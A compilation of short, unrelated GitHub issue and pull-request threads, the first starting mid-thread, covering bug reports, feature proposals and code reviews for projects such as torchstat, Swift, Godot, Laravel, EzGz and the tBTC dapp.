if no "kind" is specified, the request does not return an error response and does not trigger the "integrated" terminal to be shown in UI as before.
if a "kind" is specified the request works, with some issues i will describe in other ticket.

Strictly speaking, there is no problem with VS Code's implementation but with the spec:

the DAP spec allows to leave "kind" unspecified but it does not explain what that means.
the implementation in VS Code "does nothing" in this case (which is a correct interpretation of the given spec). So it does not have to return an error.

I've create a clarification request for the DAP: https://github.com/Microsoft/debug-adapter-protocol/issues/43


How does torchstat compute total memory?

How does torchstat compute total memory for a model?
For example, I use torchstat to analyze mobilenet and get the following results:
Total params: 4,231,976
--------------------------------------
Total memory: 38.48MB

Since the total params are 4,231,976, so I think the total params size is 4,231,976 * 4 / (1024^2) = 16.14 MB, while torchstat gives a total memory 38.48 MB which makes me really confused.

hi，guy. I think the total memory term is the sum of all output feature maps of every operation (e.g. convs, relu, BN ... ). In some ways, the sum equal to the memory-write number.

Shall we also consider the parameters loaded into memory and do mul-add with feature maps? The number should be equal to MemRead.


There is an issue with text-pic generator

Description
It shows different text than provided
Screenshots

Wow, you just created your first issue on this project, that's so cool. Make sure to wait till you are allowed to work on this before you do and when you are allowed to, don't forget to mention this issue in your pull request [Automated]

No worries it's not an issue, I just didn't add the functionality for that, mainly because you need a really full long text to make your image show properly


Unclear part for client.create()

In https://github.com/01org/iot-js-api/blob/master/api/ocf/client.md#41-the-createresource-target-method, there is written that resource is a Resource object in client.create( ... ).
According to https://github.com/01org/iot-js-api/blob/master/api/ocf/client.md#13-the-resource-dictionary, a Resource object has a lot of properties that are obligatory.
However, resource in client.create( ... ) has only 2 obligatory properties, and it has resourceType instead of resourceType*s*.
Could anybody help me understand how this works and how to model it in Typescript?

In https://github.com/otcshare/iotivity-node/blob/master/js/high-level-resource-creation-client.js#L51, resourceType is not used with a string type. Instead resourceTypes is used with a string[] type.
Is the spec outdated or is the example wrong?

Will check tomorrow (it's almost 1am here :).

Hi, @wind-rider there is another issue #27 which @zolkis explained why the create method has only 2 obligatory properties.
For the resourceType, in https://github.com/01org/iot-js-api/blob/master/api/ocf/client.md#41-the-createresource-target-method descibes The resource argument is a Resource object. It should contain at least the following properties (other resource properties may also be specified): resourcePath and resourceType, however, the Resource object has property resourceTypes, instead of resourceType, this is doubtful.

Fixed, please check if OK.


New Razor editor does not highlight angularjs syntax

I spent a while upgrading our large application from .NET Framework 4.8 to .NET 7 and while it's been mostly smooth, we used angularjs as our front-end library (we're working on upgrading out of it, but that will take time). I've found that while previously it was obvious when angularjs syntax was used, now it all just blends in.
For example using the {{syntax}} or ng-xxx attributes does not stand out. Is there anything that can be done?

@TXP-AlbertPucciani thanks for your report.
Would you be able to share minimal repro steps using a small project that with all the minimum requirements that would reproduce what you've noticed as well? also some screenshots would be helpful too.


Add upcoming feature ImplicitOpenExistentials for SE-0352

To maintain source compatibility, SE-0352 does not open existentials with "self-conforming" type, such as any Error or existentials based on @objc protocols. The proposal specified that this behavior would change in Swift 6. Implement that behavior change, which can be enabled prior to Swift 6 with the upcoming feature ImplicitOpenExistentials (as documented in SE-0362).
Fixes #70873 / rdar://120902975.

@swift-ci please smoke test


Change DijkstraMap superclass from Node to Reference

At the moment DijkstraMap inherits from Node. This is unnecessary, since it's not intended to be inserted into scene tree. It should be used as a Reference object in code, just like AStar and AStar2D nodes.

Agreed, I can deal with this next week

I've already included this change in my latest commit. It needed minor changes to the GDScript examples, to remove the manual dijkstra_map.free() call, that were necessary for node.


use dns-safe server names

Still failing on usernames with non alpha-numeric characters:
{"reason":"FieldValueInvalid","message":"Invalid value: \"renku-jupyter-rok-2erosk-rok_2erosk-proj-85a5229\": a DNS-1123 label must consist of lower case alphanumeric characters or '-', and must start and end with an alphanumeric character (e.g. 'my-name',  or '123-abc', regex used for validation is '[a-z0-9]([-a-z0-9]*[a-z0-9])?')"

The username was rok.roskar. This issue is continued from  https://github.com/SwissDataScienceCenter/renku/issues/252.

closed via #7


Issue #SB-7869 fix: Top Border for content box and review box

Before UI Change

After UI Changes

@bvinayakumar and @lakhanmandloi Please review this PR.


Enforce lint checks

Follow up from https://github.com/pytorch/audio/pull/2096#pullrequestreview-839491707
cc @mthrok

Looks like config.yml is not updated. Did you run .circleci/regenerate.py?

Okay, lint job is failing as expected.
https://app.circleci.com/pipelines/github/pytorch/audio/8840/workflows/c4ce902e-3119-4249-ba59-96f4c1e32285/jobs/478871
Now, can you fix these files?


[Proposal] Migration simulator

As you know, wrapping database migrations in a transaction has no effect in Mysql for table operations.
Which means that if migration fails, you most likely end up with a broken database state which stinks!!!
I made a package that simulates the migrations in a testing database and report back success or failure to the user, leaving the real production database intact.
So the main idea behind this is the following:

We create a testing database for every connection specified by the user (or use the default one).
We switch the configuration to the new database at runtime, replacing the real database.
We refresh the connection so that Laravel can use the new configuration.
We run php artisan migrate against the testing database.
When done, we drop the testing database.
Any eventual errors are displayed to the user.
The real database stays intact.

This could be a great addition to the framework. I'm sure you can come up with a better implementation.
Working code https://github.com/shincoder/harmless-migration

Please discuss proposals on slack. We don't process these on github since are issues are here for the community to fix bugs in the framework, and are not a way to communicate with Taylor really.

Thanks though. :)


Include marshal error in partial martial message

Possible fix for #212 that is slightly less invasive than #213

I just spent an hour trying to resolve what was going on, and I think this a great addition!


Dark mode for documentation website

The documentation website should have an optional dark mode toggle that similar documentation sites have.
Would make reading the docs in the dark less strenuous.

This would be reported to the theme repo, not click. That said, we're already working on it, so no need to report it.


Avoid double-conversion of values considered simple.

MappingJdbcConverter previously tried to create a JdbcValue for simple values via the ConversionService, only to drop the conversion result if the conversion did not result in a JdbcValue eventually. In that case, it triggered an additional (same) conversion to then handle the wrapping of the conversion result into a JdbcValue manually.
This commit alters the flow so that it only triggers the conversion once and manually applies the JdbcValue wrapping only if the result of the original conversion is not a JdbcValue yet.

Thanks. Merged.


new feature added

testing a new feature in moviefunc.py

looks great, can you merge it into Linux branch


Initial Review.

Descriptions:
Add PR descriptions here
Fix:
Add fix/changes here

@jitesh-spryiq ,PR should not be empty. Please provide detailed descriptions, including:

Connector API Doc link
Whether actions were tested during setup or not
Whether unit testing was done or not


Bad Access exception thrown while decompressing

I'm seeing a Bad Access exception thrown while decompressing the following file:
https://olmo-data.org/dolma-v1_6-8B-sample/v1_5r2_sample-0000.json.gz
I'm simply using the sample code to do so:
			EzGz::IGzStream input("data/dolma/v1_6-sample/v1_5r2_sample-0000.json.gz");
			std::string line;
			while (std::getline(input, line)) { // You can read it by lines for example
				// std::cout << line << std::endl;
			}

I'm guessing it has something to do with the large file size or line lengths.

It looks like an issue with getline or printing. I was able to decompress that file into a file without any such problems using the master branch (using the ezgz_decompress.cpp file), except that the archive was missing a file name.

Thanks for looking into it.  I have removed the getline (printing was already commented out) with the following code:
			int count = 0;
			EzGz::IGzStream input("data/dolma/v1_6-sample/v1_5r2_sample-0000.json.gz");
			int ch = input.get();
			while (ch != std::char_traits<char>::eof()) {
				count++;
				ch = input.get();
			}

count reaches 180080 before EXC_BAD_ACCESS within the get() call.
I'm using a 2024 Mac Pro with standard clang toolchain.  Zlib seems to work just fine on the same file.

Failing already at index 180080 is strange, I was testing it on much larger inputs. It is actually of the same order of magnitude than sizes of some buffers.
Although I was testing it on Mac with sufficiently large inputs, I don't think I ever run it an ARM Mac. I can try it on an ARM machine that is not a Mac, I will see what happens. There are some things that work on x86 architectures but not on ARM and it's easy to write them by accident.

I compiled it with Clang and run it on an ARM processor and didn't see any issues, the file was decompressed and there was no crash. I have no idea what could be wrong and I don't have access to any MacBook.
Can you please run it with a debugger, break on exception and send me the stacktrace and the values of some variables at the area where it crashed? It seems like the only way to learn what's wrong.

I made a standalone program to make sure that my code wasn't stepping on yours in some way.  The crash occurs a little earlier now, but unfortunately there is really no debugging information to help.  It crashes within the standard template library, which is stripped and optimized.

It's probably not in the standard library. The get() method most likely calls something inside IGzStream to decompress more data to update the buffer. I don't know why most of the stacktrace is lost, did you try to compile it without optimisations?
Also, the decompression algorithm can be used without std::stream, which would bypass whatever has gone wrong with the standard library.

Yes, it was a debug build with optimizations disabled.
I'll look into bypassing std::stream; thank you for your help!


Catch socket timeout errors as well

Why is this needed?
I feel this is a right thing. Let's discuss.

Opened by msitake.

Actual bug was pytest-dev/pytest#5502


ConfigSchemaGenerator: Ignore case and support named options

This PR updates the Config Schema Generator tool to handle casing differences in log categories, config paths, type names, and property names. There's no way to determine the "right" casing, ie: should "One" win over "one"? Therefore I've ~only~ made sure that the nodes get unified (so you'll either get "One" or "one", but never both), and that the last occurrence always wins, and capture this behavior in tests:

~OverwritesLogCategoriesWithDifferentCasing~ LastUsedCasingOfLogCategoryWins: Casing of the last occurrence wins.
~MergesPropertiesAtConfigPathWithDifferentCasing~ LastUsedCasingOfConfigPathWins: Casing of the ~first~ last occurrence wins.
~MergesTypesWithDifferentCasing~ LastUsedTypeDocumentationWins: ~Casing~ Documentation of the last occurrence wins.
~OverwritesPropertyWithDifferentCasing~ LastUsedCasingOfPropertyWins: Casing of the last occurrence wins.

Additionally, this PR implements support for named options, as proposed in #4775.
Fixes #4773.
Closes #4775.
/cc @eerhardt
Microsoft Reviewers: Open in CodeFlow
Edit: Renamed tests to clarify their purpose, and ensure the last occurrence always wins.

LGTM. Thanks again for the great contributions, @bart-vmware!

@eerhardt Thanks for timely reviewing and providing good feedback.
Can you please restart the cibuild, so this gets merged?

/azp run


added readme

Hello there!
I really enjoy that you ported gruber darker to nvim! This repository  doesn't have a proper readme so I added a basic one.
Have a Great Day!

Thanks!


Error when going straight to /deposit/new:  "Lot size 0 is not permitted...."

Description:
When going straight to the url
dapp.test.tbtc.network/deposit/new
an error message appears:
Lot size 0 is not permitted; only one of 100000,1000000,10000000,20000000,50000000,100000000 can be used.
This message appears even before being given the option to choose a lot size.
Steps to reproduce the behavior:

Go to https://dapp.test.tbtc.network/deposit/new. The page that appears shows step 2/5 Initiating deposit.
Click on 'Connect to a Wallet', select MetaMask. If not logged into MetaMask, login/unlock MetaMask.
The page almost immediately shows:

Error initiating deposit
and
Lot size 0 is not permitted; only one of 100000,1000000,10000000,20000000,50000000,100000000 can be used.
Expected behavior:
When vistiting this URL, the app ought to recognise that I haven't chosen a lot size yet, and then give me the opportunity to choose a valid lot size. Or it could redirect me to dapp.test.tbtc.network if it can accurately identify that I haven't selected a lot size or completed step 1/5.
Environment details:
OS: Windows 10 Pro, Version 1909, build 18363.959, 64 bit OS
Web Browser: Google Chrome, Version 84.0.4147.89 (Official Build) (64-bit)
Wallet: Metamask (Chrome extension), Version 8.0.5
Screenshots
Console log file:
dapp.test.tbtc.network-1595562195620.log

Thanks for the report! What's the use case in your mind here? /deposit/new is not currently linked from anywhere, and we only transition to it briefly during the deposit creation process, before we have a deposit address available. /deposit is the URL for the page where lot sizes are selected.

I suppose that there isn't a very strong use case here - I just happened to come accross this case when I was testing the app, and I refreshed the page while the browser was at that url.
I reproduced the issue myself by going straight to /deposit/new but originally I discovered it starting from dapp.test.tbtc.network and then I refreshed the page at step 2/5 (/deposit/new) because it was hanging (I should have probably mentioned this in the steps to reproduce).
Other than that I can only imagine that a user may visit this by accident since it's in their brower history and it may autocomplete in the address bar. I raised the issue not because I believe this page should be able to handle visits directly, but because I believe the error message could be more relevant or helpful to the user (since the message assumes a lot size of zero was selected when in reality the user hasn't chosen a lot size yet).
If the app thinks that lot size 0 has been selected, perhaps the error message could be something like "Go to step 1 to choose a lot size".

Yep, that makes a lot of sense. The reload use case in particular I think is very real. Redirecting to /deposit would be a good way to deal with this, I think.


Import 16e0ccb8a3: Added force-everything-unlit mode to developer>render for testing (by Caitlyn)

This is an automated proposal to look at a commit made by Caitlyn and import it into Overte

Commit:
16e0ccb8a3ed4fe396b22928768a51bde5eac80a

Author:
Caitlyn

Date:
Mon, 13 Apr 2020 22:31

Added force-everything-unlit mode to developer>render for testing

Stats:

Filename
Stats
Lines
Added
Removed
Lines in blame

interface/src/Menu.cpp

11
6
5
5

interface/src/Menu.h

2
1
1
1

libraries/entities-renderer/src/RenderableImageEntityItem.cpp

3
2
1
2

libraries/entities-renderer/src/RenderableMaterialEntityItem.cpp

5
4
1
⚠ 0

libraries/entities-renderer/src/RenderableShapeEntityItem.cpp

3
2
1
⚠ 0

libraries/entities-renderer/src/RenderableTextEntityItem.cpp

6
4
2
4

libraries/entities-renderer/src/RenderableZoneEntityItem.cpp

16
12
4
12

libraries/material-networking/src/material-networking/TextureCache.cpp

1
1
0
1

libraries/material-networking/src/material-networking/TextureCache.h

4
4
0
4

libraries/render-utils/src/MeshPartPayload.cpp

15
13
2
⚠ 0

10 files
-
66
49
17
29

To work on this, please assign the issue to yourself, then look at the commit and decide whether this would be a good addition to Overte.

If the commit is useful, tag it with "Tivoli: Keep", and keep it open until it's merged.
If the commit is not useful, tag it with "Tivoli: Discard", and close it.
If the commit is not useful right now, but might be later, tag it with "Tivoli: Maybe later", and close it.
If it's hard to decide, tag it with "Tivoli: Discuss", and keep it open.

Useful commits should be submitted as a PR against Overte. Tag this issue in PR, so that it's automatically closed once the PR is merged.
You can cherry-pick this issue with this command:
git cherry-pick 16e0ccb8a3ed4fe396b22928768a51bde5eac80a

would this be of any use?


Revert ":alembic:x.x.o: Fix cache"

Reverts akira-toriyama/next.js-tpl#2202

Codecov Report

Merging #2203 (70be049) into main (f425929) will not change coverage.
Report is 1 commits behind head on main.
The diff coverage is n/a.

:exclamation: Your organization needs to install the Codecov GitHub app to enable full functionality.
@@            Coverage Diff            @@
##              main     #2203   +/-   ##
=========================================
  Coverage   100.00%   100.00%
=========================================
  Files            5         5
  Lines          130       130
  Branches        14        14
=========================================
  Hits           130       130

:mega: We’re building smart automated test selection to slash your CI/CD build times. Learn more


[FEAT] GitHub Release with Publish

Use the GitHub CLI to create releases: https://docs.github.com/en/repositories/releasing-projects-on-github/managing-releases-in-a-repository
This should be added to the .github/workflows as an action with the publish job.
I am not sure about the release notes. The CLI does not mention automatic release notes, but it might be possible, as there is already a releases.yml config

Closing this, as we have gone with a slightly more manual approach: PR -> Manually Create GitHub Release -> Automatic Publish